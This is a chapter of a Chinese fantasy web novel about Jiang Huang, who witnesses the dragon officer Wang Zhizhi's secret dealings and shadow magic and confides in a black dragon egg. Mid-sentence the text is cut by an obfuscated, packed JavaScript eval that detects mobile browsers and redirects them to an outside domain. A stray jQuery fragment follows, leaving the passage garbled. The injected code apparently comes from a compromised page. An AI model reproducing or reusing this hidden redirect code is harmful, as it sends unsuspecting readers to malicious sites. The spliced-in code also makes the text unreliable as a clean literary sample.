“我,我去打水。”她避开阿蒙疑惑而关切的目光,抓起水罐匆匆离开,指尖因攥得太紧而发白。
她需要冷水泼面,需要清醒,需要——证明自己听错了。
一定是听岔了,王知之那样高洁的人,怎么会……
她转过一处山岩弯角,已经能听到流水潺潺,脚步却猛地顿住。
是王知之,他独自立在湍急的地下河边,靴尖浸入暗流,黑色披风被不知从何而来的风掀起,翻卷后又被河水拽着拖入水中。
河水洇开一片暗红,像被无端端撕开的伤口,又很快被冲散,消失得无影无踪。
姜黄的眼眶蓦地刺痛,那不是披风本身的颜色——是他的血,别人的血,所有人的血,被洗净了。
血衣能洗净,那人心呢?姜黄嘴角动了动,忍下了惊动王知之的心。
他手中捧着一枚血红色的东西,姜黄隔得太远,看不真切,只感觉在粼粼河水上泛着诡异的红。
那东西中心似乎有什么在搏动,像一颗,一颗正在跳动的心。
这就是龙三口中的“那件东西”?姜黄毛骨悚然,骇得后退半步,不经意“啪”,踩断了不知何物。
王知之猛地回头,红瞳在河中灼灼发亮,像是捕猎中的危险信号。
姜黄缩回山岩后,心跳几乎停滞,莫名的,她为什么要害怕王知之发现她?
但下一瞬,王知之的目光又移向远处,仿佛透过手中之物,在看更远的东西。他低声说了句什么,将血红色的东西收入怀中,转身走了。
呼呼呼,好险,姜黄这才发现自己咬破了的嘴唇再次咬烂了。血腥味顺着下唇,在她口中蔓延,和记忆中战场上的气味重叠在一起。
她讨厌流血,讨厌有人因此死去。
恍惚地走回熬药区,阿蒙已经重新生好了火,“姜姐,水呢?”
姜黄低下头看,自己两手空空,连水罐都没拿回来:“……”
少年担忧地看着她:“姜姐,你许是太累了,去休息会儿吧?这儿我照看着就行。”
她要是去休息,会空下脑子想更多,“不用。”
阿蒙:“……”
她就是,她就是不想休息而已,只要一闭上眼睛……漫山遍野都是血,都是那些再也睁不开的眼睛,都是嚎叫都是痛吟。
她盯着舔着药炉跳动的火苗,那火焰竟也泛起诡异的红,像极了王知之手中那枚搏动的“心脏”,还有,还有统帅议事帐里,王知之的影子……
光是想到这里,恐惧感就爬满了她的全身。
“呼”,看阿蒙要走,她也不过是个十多岁会胡思乱想的孩子,害怕得哆哆嗦嗦抓住阿蒙的手腕,“你要去哪儿?”
“去打水啊。”阿蒙另一只空着的手往上提了提水罐,“顺便把你忘拿那只水罐也带回来。”
“……我能不能跟你一起去?”昔日威风凛凛的大姐大恳求。
她的手好凉啊,阿蒙叹了口气,他生在将相家,祖祖辈辈都帮着打江山守江山,见过的血流成河不计其数。他也仅仅是被王妃呵护得好一些,少经历些风雨,并不是弱到什么都没见识过。反观姜黄,第一次直面战争的残酷,如此惊惶实在正常。
于是他反过来,轻拍姜黄的手背,像安抚一只受惊的小兽:“那走吧,一起去。”
地下河的流水声在寂静的山腹中格外清晰,哗哗的,像是山魂在为所有亡魂哭泣。
姜黄紧紧跟在阿蒙身后,小心翼翼的只看着阿蒙的后脑勺,生怕再撞见什么不该看的人。
可越是害怕,那些画面就越往她脑子里钻——慢慢脱血的披风、河水中晕开的暗红、那枚跳动着的诡异“心脏”......
“咦,这是什么?”前头的阿蒙停下脚步,“姜姐,你来看。”
姜黄顺着他指的方向看去,只见河岸边的碎石上,暗紫色的细碎一条,竟像有生命一般,缓缓蠕动着,爬着,站起来。
之所以用“爬”、“站”,是因为这小小的一条东西,竟然在此过程中长出了类似于手和脚的部分!
“嗬……嗬……”姜黄的声音卡在喉咙里,她极度惊惧,那东西除了颜色之外,都跟之前在大殿之内,王知之的影子很像!
她一把拽过阿蒙,又是同样的地方,她把她和阿蒙都藏在了山岩弯角处,一人一只手,捂紧了自己和阿蒙的嘴巴。
没多久,暗紫色小“人”扑通跳进河里,除了点余下的涟漪,再无一物。
姜黄等了许久,再无动静,她才肯放开双手。
阿蒙急急喘匀气:“是影术。”
“什么是影术?”
“术法修行高深的人,能把自己的影子切出来,替自己办一些,不方便交代别人动手的腌臜事。”
那确实不方便让别人动手,姜黄心想。“如果……我是说如果有一天,需要你用邪门歪道才能保护大家,你会用吗?"
阿蒙被她问得愣住:“什么时候轮到我保护大家了?”他能有这么强大的时候?
姜黄张了张嘴,最终泄气塌下肩膀,算了:“这倒是。”她问的人就不对,轮到阿蒙保护大家,那基本没救了。
她不能把所见所闻说出来,至少现在不能。王知之是他们的龙官长,是淬火山的守护者……他一定有他的理由。
夜深了,姜黄摊着四肢在傀儡麦田边的草垛上,一整天的高强度生理心理挑战下来,她很累,但仍然睡不着。铁傀儡们围着她,发出有一搭没一搭的咔嗒声,这些铁家伙,驱散不了她心中的寒意。
“咔咔”,轻响跳到耳边。
姜黄猛地转头,小黑蛋不知何时又跳到了草垛上,黑黢黢的蛋壳上,金纹忽明忽暗。
她一把将蛋搂进怀里,暖暖的蛋壳贴着她疲惫到眼下乌青的脸。
暖到她莫名的委屈涌了上来,冰凉的眼皮激出泪光,“小黑蛋……你来看我了,”她的声音带着哽咽,“我今天看见龙官长……”
这是王知之的龙蛋,她怎么能在王知之的龙蛋面前说这些?话到嘴边又咽了回去。
“咔咔”,小黑蛋闪了闪。
她不开口,小黑蛋闪得更着急了,“咔咔,咔咔,咔咔!”
“你也很担心他对不对?”是了,作为王知之将来的战龙,小黑蛋自然是会很着急的。
她不能告诉任何人,但对着这颗不会说话但很关心王知之的蛋,她终于可以卸下心防。
“他手里拿了个会跳的东西,像心脏一样……但没那么大,大概,大概这么大,”姜黄放下小黑蛋,手指比了比大小,“他大概是要用这东西来,来做一些不好的事。”
她不知道这么说,小黑蛋能不能理解,“你能听懂我的意思么?”
小黑蛋的金纹闪烁了一下,温度微微升高。
“我就当你听懂了?”
小黑蛋的金纹又闪烁了一下,这次甚至蹦了蹦。
“还有,后来我又看到,跟龙官长的影子差不多的东西,阿蒙说那是影术,专门干一些坏事。我看着那影子活过来,跳进
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890092|171198||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了水里,不知道要去找谁。”
“你说他为什么要这么做?”姜黄自问自答,“为了保护淬火山?应该的,换了谁能忍得住呢,王署摧毁了储蛋树,那些龙蛋……我总听见它们在哭……”
蛋壳忽然烫了一下,姜黄靠着它的地方都要熟了似的通红。
她“嘶”地揉了揉烫痛了的地方,低头看去,山岳状的金纹正以奇怪的频率闪烁着,像是在回应她的话。
“你生气了?”她抚摸着粗糙的蛋壳,是了,在人家的龙蛋面前说人家的坏话,龙蛋生气是应该的,“可我能怎么办?去质问龙官长?还是告诉其他人?”
小黑蛋温度降了下来,轻轻晃动着,发出细微的“咔咔”。
它是跟自己一样纠结了?姜黄把它捧到眼前,发现那些山岳状的金纹竟在缓缓成沙流动,勾勒出模糊的画面——一个持剑的人影站在山巅。
“这是……龙官长?”她瞪大眼睛,“你是想告诉我什么么?”
金纹又变回原样,但蛋壳的温度又慢慢升高,暖意透过姜黄掌心传遍她全身。
“你是想叫我相信龙官长么?”
小黑蛋在她手里蹦了蹦,她差点捧不住,好在一人一蛋身处草垛上,小黑蛋摔下去也不怕。
金纹疾速变换,看得姜黄眼睛酸胀,“小黑蛋……你是在……你画得太快了,是在安慰我吗?”她揉着眼睛,“不如你画慢点?”
小黑蛋完全不听她的,金纹令她眼花缭乱,疲惫如潮水般涌来,她眼皮变得无比沉重。
蛋里发出温柔的节奏变得无比迟缓的“咔——————咔——————咔”。
姜黄不知不觉闭上了眼睛,呼吸渐渐平稳。
小黑蛋的金纹也慢慢暗了下来,一缕金纹从蛋壳上悄悄探出,在姜黄额前轻轻一点,见她眉头皱起,又迅速缩了回去。
“咔——”蛋壳发出一声几不可闻的轻响,随即消失在夜色中。
淬火山火山眼,十八条巨龙鳞片黯淡,龙息微弱,却仍依次吐着冰雾,镇守着这条通往上古炎脉的通道。
王署的攻势早之前就停了,这火山眼,他们没有如愿拿下。
为首的沧龙吐完冰雾,发现火山眼正上方悬浮着一颗小小的黑蛋。蛋壳上的金纹在炽热中流转,竟比未冷却的岩浆还要耀眼。
哪来的小东西,沧龙刚想朝着它喷冰雾,却见黑蛋剧烈摇晃起来。
“咔、咔、咔——”一下窜进火山眼。
这还得了,沧龙一声沉重的警告式龙吟,其余十七条巨龙噙着锁链,爬到火山口,齐齐朝下望去。
“咻……咻……咻”,小小的黑蛋在火山眼里摇晃蛋壳,每摇一下,就有一束莹白的光从蛋壳中飘出来。
那些光束接触到空气,开始膨胀,渐渐飘洒成星河般的洪流,倾倒进地心处的上古炎脉。
沧龙的瞳孔骤然收缩,一线瞳孔所见星河中,偶有蜷缩的龙形,是那些未来得及孵化就死在储蛋树上的幼小龙魂!
龙魂们融入炎脉,奇迹般地,历来需要冰雾才能平静下来的暴躁炎脉,前所未有的平和。
沧龙感觉身上的锁链竟自行松动了几分。
这小黑蛋在用龙魂滋养炎脉,炎脉又在哺育修复这些哀怨的龙魂。族群的希望,怕是总有一日,这些残破的龙魂还能……还能……沧龙眼中落下一滴滚烫的泪。
小黑蛋还在往外摇晃着光束,一道黑影从炎脉中窜出,正是姜黄见过的那个暗紫色人影,伸手就要抓向小黑蛋!